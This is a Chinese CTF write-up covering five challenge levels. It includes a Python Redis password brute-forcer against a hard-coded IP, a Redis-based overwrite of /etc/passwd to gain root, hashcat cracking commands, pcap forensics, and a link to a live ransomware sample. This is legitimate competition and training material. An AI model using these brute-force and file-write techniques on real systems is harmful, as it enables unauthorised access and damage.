首届信安之路巅峰挑战赛writeup详解

拿了首届信安之路巅峰挑战赛第一,这次比赛的writeup如下,orzorz

Level_1

1
2
3
4
5
欢迎参加首届信安之路巅峰挑战赛,第一关的入口:

http://wifiseciloveyouxazl.xazlsec.com

获得 key 之后,通过后台发送 key 将获得第二关的入口信息,祝你好运!

选择题为主,最后一题例外,为此,还抓了个包,研究了下js脚本

1537671101647

看下脚本

1537671166487

火狐抓个包,得到key?这tm什么原理。

1537671058562

Level_2

1
2
3
4
5
恭喜通关第一关,第二关入口:

http://nizhidaoqianduanyoushama.xazlsec.com

获得 key 之后,通过后台发送 key 将获得第三关的入口信息,祝你好运!

我滴个天啊。。。。。弱密码随意登陆。。。。。不好意思,这题我真是非预期解法,具体的预期解法,之前信安之路文章已发,就不仔细讲述啦!

1537674858782

得到第二关答案key:2c4b23c265c3e834f31024533565f2be

Level_3

1
2
3
4
5
恭喜完成第二关,第三关的入口:

http://honglanduikburongyiya.xazlsec.com

获得 key 之后,通过后台发送 key 将获得第四关的入口信息,祝你好运!

这题,学到的东西很多,坑点多,但就是好玩。

日常扫端口

1537705229073

没发现啥(这时候也没全tcp端口扫描),后面出题老哥放出新提示

1537710317853

上网搜搜,嗯 ,6379 Redis很有可能哦。

1537710120269

尝试一波,发现6379端口开的是redis服务,执行命令redis-cli -h 66.42.84.155 -p 6379,发现可以登录,但是需要密码。

尝试使用hydra爆破,但是不知为啥,爆破无效(这里上网搜索了下,说是hydra编译问题),于是尝试使用python脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import redis
import sys
import getopt
import datetime
import time

'''
author:Qing
try to login the redis database
-h help
-P password file
-a server address
-o port, default 6379
'''


def usage():
print '''Options:
-h help
-P password file
-a server address
-o port, default 6379
'''


port = 6379 # default port
starttime = time.localtime()
print "start time: ", time.strftime("%Y-%m-%d %H:%M:%S", starttime)
opts, args = getopt.getopt(sys.argv[1:], "hP:a:o:")
for op, value in opts:
if op == "-P":
input_file = value
elif op == "-a":
host = value
elif op == "-o":
port = value
elif op == "-h":
usage()
sys.exit()

fo = open("hydra_zidian.txt", "r+")
passwd = " "
while 1:
host = '66.42.84.155'
port=6379
line = fo.readline()
passwd = line
passwd = passwd[0:(len(passwd) - 1)] # filter the /n
print passwd
rs = redis.Redis(host, port, db=0, password=passwd) # AUTH password
response = 'wrong passwd'
try:
response = rs.ping() # use PING to judge the state of redis
except redis.exceptions.ResponseError:
pass
# print response
else:
if response == True:
print response
print passwd
fo.close()
stoptime = time.localtime()
print "stop time: ", time.strftime("%Y-%m-%d %H:%M:%S", stoptime)
exit(0)
if not line:
print "no valid passwd"
stoptime = time.localtime()
print "stop time: ", time.strftime("%Y-%m-%d %H:%M:%S", stoptime)
exit(0)

字典选择top100弱密码就行啦,开始爆破。

1537683344278

爆破成功,密码是:1q2w3e4r

1537683400926

嗯~,爆破是成功了,但是怎么利用redis漏洞呢,可以看看这篇文章,其中详细指出了一些想法。

自己测试时,发现/root/.ssh/这个目录不在了,想着利用redis写入自己私钥,远程ssh连接上去的幻想也就破灭了。

1537705728399

后面尝试着,网上学习了一波,尝试着读下/etc/这个目录,喔!竟然存在,嘿嘿,那么是不是可以尝试/etc/passwd 文件实现任意账号密码的重置呢?具体操作请查看上述那个链接,下面是自己的操作:

1537705840894

好的,成功save后,尝试以root用户登陆,然后就这样登上去了,root用户登上去了?^–$–*/,还是有点吃惊的,赶快联系了下出题的大佬,问下就这样?这是预期解法?直接用root?后面问了下,redis是用root 身份启动,被菜鸡我刚好撞上了,直接把root密码重置了。甚至,不小心把/etc/shadow给搞坏了,抱歉啊,不是故意的。

查看下敏感信息

1537694656137

后面老哥给了我个admin的用户账号和密码,心虚的我也不好意思的接受了。咳,继续解题。回到root用户登陆后,用root权限转了一圈,看了下/tmp/history,以下为内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
[root@vultr tmp]# cat history 
1 yum update
2 yum list | grep rredis
3 yum list | grep redis
4 yum install redis
5 redis-cli
6 iptables
7 iptables -L
8 iptables -L -F
9 iptables -F
10 redis-cli
11 yum install redis-server
12 wget http://download.redis.io/releases/redis-3.2.12.tar.gz
13 tar xzfv redis-3.2.12.tar.gz
14 cd redis-3.2.12
15 ls
16 make
17 ls
18 cd ../
19 rm -rf *
20 wget wget http://download.redis.io/releases/redis-2.8.17.tar.gz
21 tar xzfv redis-2.8.17.tar.gz
22 yum install gcc
23 yum install cc
24 yum install g++
25 cd redis-2.8.17
26 make
27 make install
28 cd ../
29 redis -cli
30 redis-cli
31 cd redis-2.8.17/s
32 cd redis-2.8.17/
33 ls
34 cd src/
35 l
36 ls
37 cd ../
38 vim redis.conf
39 yum install vim
40 ls
41 vim redis.conf
42 cd src/
43 ./redis-server
44 ./redis-server &
45 ps -ef
46 ifconfig
47 cd
48 useradd key P@ssword123
49 useradd key
50 passwd key
51 cat /etc/shadow
52 ls
53 mkdir .ssh
54 key 的明文密码就是下一关通关密语
55 exit
56 ls -la
57 cat .bash_history
58 exit
59 quit
60 exit
61 ls
62 cd redis-2.8.17
63 ls
64 cd sec
65 cd src
66 vim redis-server
67 redis-server
68 redis-cli -h 127.0.0.1 -p 6379 shutdown
69 netstat -tunlp
70 redis-server
71 netstat -tunlp
72 ./redis-server
73 redis-cli ../redis.conf &
74 netstat -tunlp
75 jobs
76 redis-server ../redis.conf &
77 netstat -tunlp
78 cd /home/
79 ls
80 cd key/
81 ls
82 ls -al
83 cd ..
84 cd
85 cd /root/
86 ls
87 passwd key
88 cd /root/.ssh/
89 ls
90 cd ..
91 ls
92 ls -al
93 cd .ssh/
94 ls
95 ls -al
96 cd ..
97 rm -rf .ssh/
98 cd /home/
99 ls
100 cd key/.ssh
101 mkdir key/.ssh/
102 cd /home/
103 ls
104 cd key/
105 cd .ssh/
106 ls
107 rm authorized_keys
108 cd
109 history
110 cd /home/key/.ssh/
111 ls
112 cat authorized_keys
113 rm authorized_keys
114 ls
115 rm authorized_keys
116 cd ..
117 cd
118 useradd test
119 useradd guest
120 useradd admin
121 useradd redis
122 passwd test
123 passwd guest
124 passwd admin
125 mkdir /home/admin/.ssh/
126 mkdir /home/test/.ssh/
127 mkdir /home/guest/.ssh/
128 ls
129 cd /home/
130 ls -L 1
131 ls
132 cd admin/
133 ls
134 ls -al
135 cd ..
136 ls
137 cd .
138 cd
139 wget https://cowtransfer.com/s/84d80d0d7b3c45
140 wget https://static.cowtransfer.com/84d80d0d-7b3c-4539-932d-30c3f0869538/%E9%AB%98%E9%A2%91%E5%AD%97%E5%85%B8.zip?e=1537629504&token=rkrC3sADAVnBtSQ_YTQgxi-3TEVapbu6rxmtmg0v:IDeOMk2XNjOwrk-mcTr6wnRjM84=&sign=484933f3a024bcab2d8f29c659aa8aa9&t=5ba65d40&attname=%E9%AB%98%E9%A2%91%E5%AD%97%E5%85%B8.zip
141 netstat -tunlp
142 history > /tmp/history
143 cd /tmp/
144 vim history
145 exit
146 passwd test
147 passwd admin
148 passwd gue
149 passwd guest
150 history > /tmp/history

em~,我以为我找到答案了,你肯定也看到了P@ssword123,想多了,因为下面的命令告诉我们,大佬改了密码。

1537707044424

先再看看/etc/shadow,en~,密码的hash值都有,不是说key 的明文密码就是下一关通关密语吗?那试试爆破key用户的hash值咯。结果再爆破这里,巨坑,有两种工具可以爆破,一种john,一种hashcatjohn不知啥原因,kaliubuntu下均报错,折腾许久,还是没弄好,就去搞鼓hashcat

1537707242063

hashcat用的是windows版的,但是死活爆破不出来,这是我使用的是john的自带字典rockyou.txt,后面一直换字典,还是爆不出来。厚着脸皮去问出题大佬,大佬给了点提示,仔细看history文件,看了半天,还是没看出啥来,大佬看不下去了,字典在里面。哦~,于是我懂了。上面的history文件有这两条记录

1537707972635

打开https://cowtransfer.com/s/84d80d0d7b3c45,提示了

1537708058489

140行的url经过URLdecode后是这样的https://static.cowtransfer.com/84d80d0d-7b3c-4539-932d-30c3f0869538/高频字典.zip?e=1537629504&token=rkrC3sADAVnBtSQ_YTQgxi-3TEVapbu6rxmtmg0v:IDeOMk2XNjOwrk-mcTr6wnRjM84=&sign=484933f3a024bcab2d8f29c659aa8aa9&t=5ba65d40&attname=高频字典.zip更是提醒我们要用这个字典去跑keyhash值,之前我也有看到这个,还打开过,但是觉得很莫名其妙,听到大佬的提示,突然悟了。是我太菜了,orz

于是下载高频字典.zip,然后开始爆破,破破破,不知道怎么破请看Hash破解神器:Hashcat的简单使用,构造以下命令:

hashcat64.exe -m 1800 -a 0 -o found.txt crack.hash 字典.txt

简单描述下这条命令的意思:如果hashcat字典.txt中跑出的hash值与crack.hash中所求内容相同,就将字典.txt找到的对应值写入found.txt中。

于是找啊找,跑啊跑,发现跑完刚刚下载的所有高频字典.zip里的文件还是没找到啊,于是自己本地建了个key用户测试了下,发现可以跑出来啊。感觉出题大佬被我坑了(之前直接的rsdis命令写入,把/etc/passwd写坏了),后面问了下,果然,之前的那条keyhash值是跑不出来的。额。。。自作自受啊。出题老哥后面重新给了个sha512的值$6$ZkfV4HlR$7hk5IVzAVIq1gGLJo254qMm9LT6YrnUy7iATOTc8das8pOwGPWzKMlWTczMjp5fAyYFQ1SMe/K.FIGBAX/0590

执行命令:hashcat64.exe -m 1800 -a 0 -o found.txt crack.hash 55泄漏门(部分).txt,秒破

1537704976981

查看found文件:

1537709086328

第三关最终的KEY1314woaini1314

听说后面这题是这样的,觉得难度就应该降低挺多的了

1537710176564

Level_4

1
2
3
4
5
恭喜完成第三关,第四关的入口是:

http://zuohaoyingjixiangyinghennan.xazlsec.com

获得 key 之后,通过后台发送 key 将获得第五关的入口信息,祝你好运!

打开网页是这样的(我刚做这题的时候,页面是没有任何消息的,摸索好一阵子)

1537746165267

打开网址https://cowtransfer.com/s/023ab1f54dd04c,提供了一个压缩包HellWorld.pcapng进行下载。

wireshark三板斧试下,很快就会发现其中的http流存在提示,有个压缩包,里面有私钥和公钥文件。除此之外明确,攻击者内网ip:10.0.3.111,被攻击ip:173.82.235.146(攻击者的外网ip182.150.21.33,估计出题老哥这题是在虚拟机抓的,所以会有内外网ip)

1537978806267

而分组1006110956则分析出以下内容:

1
2
3
4
5
6
7
8
9
http://dynupdate.noip.com/settings.php?username=C3A37087469&pass=HMAC{yuyvphyx4snkqvtgt7kiyiamtra=}
<?xml version="1.0"?>
<noip_host_list email="C3A37087469" enhanced="false" webserver="">
<domain name="ddns.net" type="free">
<host name="cherishao" group="" wildcard="false"/>
</domain>
</noip_host_list>

http://dynupdate.noip.com/ducupdate.php?username=C3A37087469&h[]=cherishao.ddns.net&ip=182.150.21.33&pass=HMAC{qq6tthdbubqfp7d+t0wrgo6pykg=}

其中有个username=C3A37087469,这个是接下来的线索。另外,值得一提的是passwd.jpg这个图片,这个http传输载体tcp传输时,存在丢包现象,所以单纯的http流追踪是找不到回应的包,只能通过追踪tcp流查找重传的数据。

1537979013881

很明显,是个图片,不过是base64格式,这个需要自行通过html标签img使图片显示在网页中,操作一番,如下

1537979226469

好的,我们现在得到了*mGX3Y-d。再仔细看看题目还有个神秘代码,UJxgqdNUuH2I5EDDXgXvhFleJiVxeOvZBLXiLJ3lTq+lTRg7eSMR4++CZwe2z7vFh5CqETYeoZ7fAUWT4iCMMuap2iG/OfbKV2JN2SFrpCKCmSfnlxKIF02KTUyI99Ip/06LtNlmAIBtWisi0Ijr67lq+2HKQgxu5KaaNQpzohk=

这个通过之前压缩包中的rsa私钥文件直接解密,会得到以下内容eK8}vD3=

好的做到这里,我有话要讲,那个时候,再看了下题目

1537979709788

再联系上面得到的消息,我用ubuntussh服务尝试爆破了207.148.27.12022端口,其中爆破字典我选择了top100的弱密码,并且添加了*mGX3Y-deK8}vD3=eK8}vD3=*mGX3Y-d这两个密码进去,但是爆破没结果。而真相是,过了一天,我用xshell再次连接时,直接root用户,再以eK8}vD3=*mGX3Y-d登进去了,登进去了。(这里之前问了出题老哥,老哥说设置了ssh验证次数为5次,猜测是不是这个原因导致ubuntuhydra没有成功爆破)

1537882454775

密码是eK8}vD3=*mGX3Y-d

登录成功后,第一件事就是查看history,还是发现了一些东西,比如说icmpsh_m.py,刚开始以为这个是linux提权的后门,理直气壮去找老哥,老哥说不是这个。好吧继续找。

1537884117551

然后往下翻翻看到了这个

1537980328352

有个很明显的目录/etc/ssh/,下载了个XAZLER.exe

1537978124473

打开后是这样的

1537980446285

细心的你们一定发现,上面有提示“请按任意键继续”,嗯,但是我没按,直接关掉了(那个时候我只要多按下任意一个键,key就会出来)。然后我又继续往下探索,发现了存在一个C3A37087469的用户,咦!

1537886964567

其中有个key.sh,打开看下

1
2
3
4
5
6
7
8
9
#@Cherishao 

echo “Good job!!"

:) Congratulations, you have come here.

However, you need a higher level of permissions!!!

It is said that higher privilege passwords are more complicated(16bit).

到这里,想了好久还是没思路,厚着脸皮去问出题老哥,发了一些解题截图过去,老哥说:“你是不是傻啊,再随便按个键啊”,然后就是下面这个样子(tm内心一万匹草泥马飞奔)

1537886544690

好吧,得到了key,下一关的钥匙。

在其中的解题过程中,此题的出题老哥,教了我好些应急响应、溯源等知识,贼喜欢。

这里放个学习链接:干货 | 黑客入侵?这里有详细的应急排查手册!

解题过程中,老哥为了加快我们的解题速度,还放出了个提示:

1537887293053

后面做完题,感觉这提示没啥用啊。后面问了下

1537981121231

好吧,的确有这样的想法,当时我记得ip反查都试了一遍。

Level_5

1
2
3
4
5
6
7
8
9
恭喜完成第四关,第五关是一个病毒分析题,样本下载地址:

https://pan.baidu.com/s/1mngKICMpg4nSekfBp0qpPw 密码:fbox

本题有两个问题:

1:RSA公钥是什么?

2: 黑客服务器的IP地址是什么?

这题啊,大家解压压缩包的时候千万小心,这是个真的病毒,嗯~,还好我放在虚拟机里了,不然,物理机得遭殃。

看到了题目,想了想,有点意思啊,还问黑客服务器的IP地址是什么?。玩玩呗,虚拟机运行下这个病毒软件,发现文件数据被加密了,还发现了这个

1537981472145

然后我就去下载onion浏览器了,弄了半天没弄好,去问出题老哥,我觉得那个时候老哥都被我逗笑了。

然后老哥给了提示,抓包,这个其实也想到了,但是想归想到,操作起来发现巨坑,因为病毒传送信息的服务器炸了,导致抓包的时候没有看到http流,后面仔细看了半天,才找到下图的线索。

1537954753559

是的,黑客服务器的IP地址就是137.74.163.43,就是这么简单。但是让我头疼的是第一个问题,rsa的公钥是啥?我滴个天啊,摆明要逆向啊。去问问出题老哥有没其他做法,老哥指点了一条明路:内存提串,后面使用了火绒剑,这个工具,贼好用。仔细分析了很久,火绒剑监控一下,就能看到这个病毒exe相应的行为了,在其运行完毕后,最终还会释放一个PE,而这个PE是没有任何混淆的,可以清晰使用IDA查看到其中的RSA公钥。当然其中需要dump一下,这里请教了下出题老哥:OD本身能dumpPEtoolSloadPE也都能dump。好吧,那就dump一下,dump出来后,直接扔到IDA中,得到RSA公钥

1537963593632

得到的最后RSA公钥为

1
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyvXYYjSQqu7nWxB8HH/9SIaTd ZZ5Es9nv2KQnPcUV6F0ZHITClTZvoa7PbtG77q76xBNdvTH8VIXGjn+d58xK8jlE krC/N87iWPpG0jgmeY/ytR/gyArojmDFFnt11WP2koi2sjWzz1UXv8SC/aHHqfHe wgWrhFLmlhxrBxo46wIDAQAB -----END PUBLIC KEY-----

黑客服务器ip:137.74.163.43

这里有个尴尬的地方,因为我是先拿到ip,提交答案后,直接“完成所有挑战”,后面跟出题老哥反映下,再继续去找公钥的答案。

1537978300052

到此结束,大佬们,再见。

0%